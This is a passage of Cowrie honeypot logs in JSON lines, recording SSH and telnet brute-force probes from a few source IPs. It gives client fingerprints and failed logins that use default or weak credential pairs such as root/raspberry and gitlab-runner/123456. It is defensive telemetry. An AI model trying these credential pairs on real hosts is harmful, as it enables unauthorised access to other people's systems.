m","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:00.851285Z","src_ip":"45.156.87.254","session":"036699c97a40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:01.129110Z","src_ip":"45.156.87.254","session":"036699c97a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.780184030532837,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:01.371127Z","src_ip":"20.123.41.163","session":"76b6e2297cd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:02.254663Z","src_ip":"45.156.87.254","session":"036699c97a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47256,"dst_ip":"10.17.0.5","dst_port":23,"session":"a19e5fa2a21f","protocol":"telnet","message":"New connection: 20.123.41.163:47256 (10.17.0.5:23) [session: a19e5fa2a21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:02.680626Z"}
{"eventid":"cowrie.session.closed","duration":6.644294500350952,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:04.498684Z","src_ip":"20.123.41.163","session":"12d4225c3399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53616,"dst_ip":"159.203.135.109","dst_port":22,"session":"5172dbdef0a3","protocol":"ssh","message":"New connection: 45.156.87.254:53616 (159.203.135.109:22) [session: 5172dbdef0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:06.726521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:06.731650Z","src_ip":"45.156.87.254","session":"5172dbdef0a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:06.818066Z","src_ip":"45.156.87.254","session":"5172dbdef0a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:07.199578Z","src_ip":"45.156.87.254","session":"5172dbdef0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:08.288754Z","src_ip":"45.156.87.254","session":"5172dbdef0a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55679941177368,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:10.219664Z","src_ip":"20.123.41.163","session":"73f6dd67924c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47260,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec184b4b0d74","protocol":"telnet","message":"New connection: 20.123.41.163:47260 (10.17.0.5:23) [session: ec184b4b0d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:11.531829Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46400,"dst_ip":"159.203.135.109","dst_port":22,"session":"82209c117662","protocol":"ssh","message":"New connection: 45.156.87.254:46400 (159.203.135.109:22) [session: 82209c117662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:12.674352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:12.679464Z","src_ip":"45.156.87.254","session":"82209c117662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57794,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84c3ebb0683","protocol":"telnet","message":"New connection: 20.123.41.163:57794 (10.17.0.5:23) [session: e84c3ebb0683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:12.708607Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:12.774771Z","src_ip":"45.156.87.254","session":"82209c117662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:13.035614Z","src_ip":"45.156.87.254","session":"82209c117662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:14.140485Z","src_ip":"45.156.87.254","session":"82209c117662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.357923746109009,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:17.066452Z","src_ip":"20.123.41.163","session":"e84c3ebb0683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54968,"dst_ip":"159.203.135.109","dst_port":22,"session":"4278f9cdba08","protocol":"ssh","message":"New connection: 45.156.87.254:54968 (159.203.135.109:22) [session: 4278f9cdba08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:18.565988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:18.571111Z","src_ip":"45.156.87.254","session":"4278f9cdba08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:18.655921Z","src_ip":"45.156.87.254","session":"4278f9cdba08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:18.913585Z","src_ip":"45.156.87.254","session":"4278f9cdba08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c158753ad647","protocol":"telnet","message":"New connection: 20.123.41.163:57810 (10.17.0.5:23) [session: c158753ad647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:19.680953Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:19.998723Z","src_ip":"45.156.87.254","session":"4278f9cdba08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.0494377613067627,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:20.730258Z","src_ip":"20.123.41.163","session":"c158753ad647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":51840,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffabe49be124","protocol":"telnet","message":"New connection: 185.145.252.179:51840 (10.17.0.5:23) [session: ffabe49be124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:21.856360Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":54978,"dst_ip":"159.203.135.109","dst_port":22,"session":"e02ebe227224","protocol":"ssh","message":"New connection: 45.156.87.254:54978 (159.203.135.109:22) [session: e02ebe227224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:23.791405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:23.798031Z","src_ip":"45.156.87.254","session":"e02ebe227224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:23.883386Z","src_ip":"45.156.87.254","session":"e02ebe227224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:24.154716Z","src_ip":"45.156.87.254","session":"e02ebe227224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:25.241209Z","src_ip":"45.156.87.254","session":"e02ebe227224","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42768,"dst_ip":"159.203.135.109","dst_port":22,"session":"d23b1f164e8a","protocol":"ssh","message":"New connection: 45.156.87.254:42768 (159.203.135.109:22) [session: d23b1f164e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:28.883267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:28.888414Z","src_ip":"45.156.87.254","session":"d23b1f164e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:28.971203Z","src_ip":"45.156.87.254","session":"d23b1f164e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:29.228288Z","src_ip":"45.156.87.254","session":"d23b1f164e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:30.446020Z","src_ip":"45.156.87.254","session":"d23b1f164e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.3440043926239,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:31.766558Z","src_ip":"104.245.105.2","session":"e4809135ac36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":42786,"dst_ip":"159.203.135.109","dst_port":22,"session":"387cbb5195f1","protocol":"ssh","message":"New connection: 45.156.87.254:42786 (159.203.135.109:22) [session: 387cbb5195f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:33.986243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:33.991781Z","src_ip":"45.156.87.254","session":"387cbb5195f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:34.075331Z","src_ip":"45.156.87.254","session":"387cbb5195f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:34.329465Z","src_ip":"45.156.87.254","session":"387cbb5195f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:35.413762Z","src_ip":"45.156.87.254","session":"387cbb5195f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.75.247.232","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"858fba342c62","protocol":"telnet","message":"New connection: 153.75.247.232:41146 (10.17.0.5:23) [session: 858fba342c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:38.980008Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58734,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d666625e050","protocol":"ssh","message":"New connection: 45.156.87.254:58734 (159.203.135.109:22) [session: 2d666625e050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:39.494703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:39.499291Z","src_ip":"45.156.87.254","session":"2d666625e050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:39.584594Z","src_ip":"45.156.87.254","session":"2d666625e050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:39.936365Z","src_ip":"45.156.87.254","session":"2d666625e050","protocol":"ssh"}
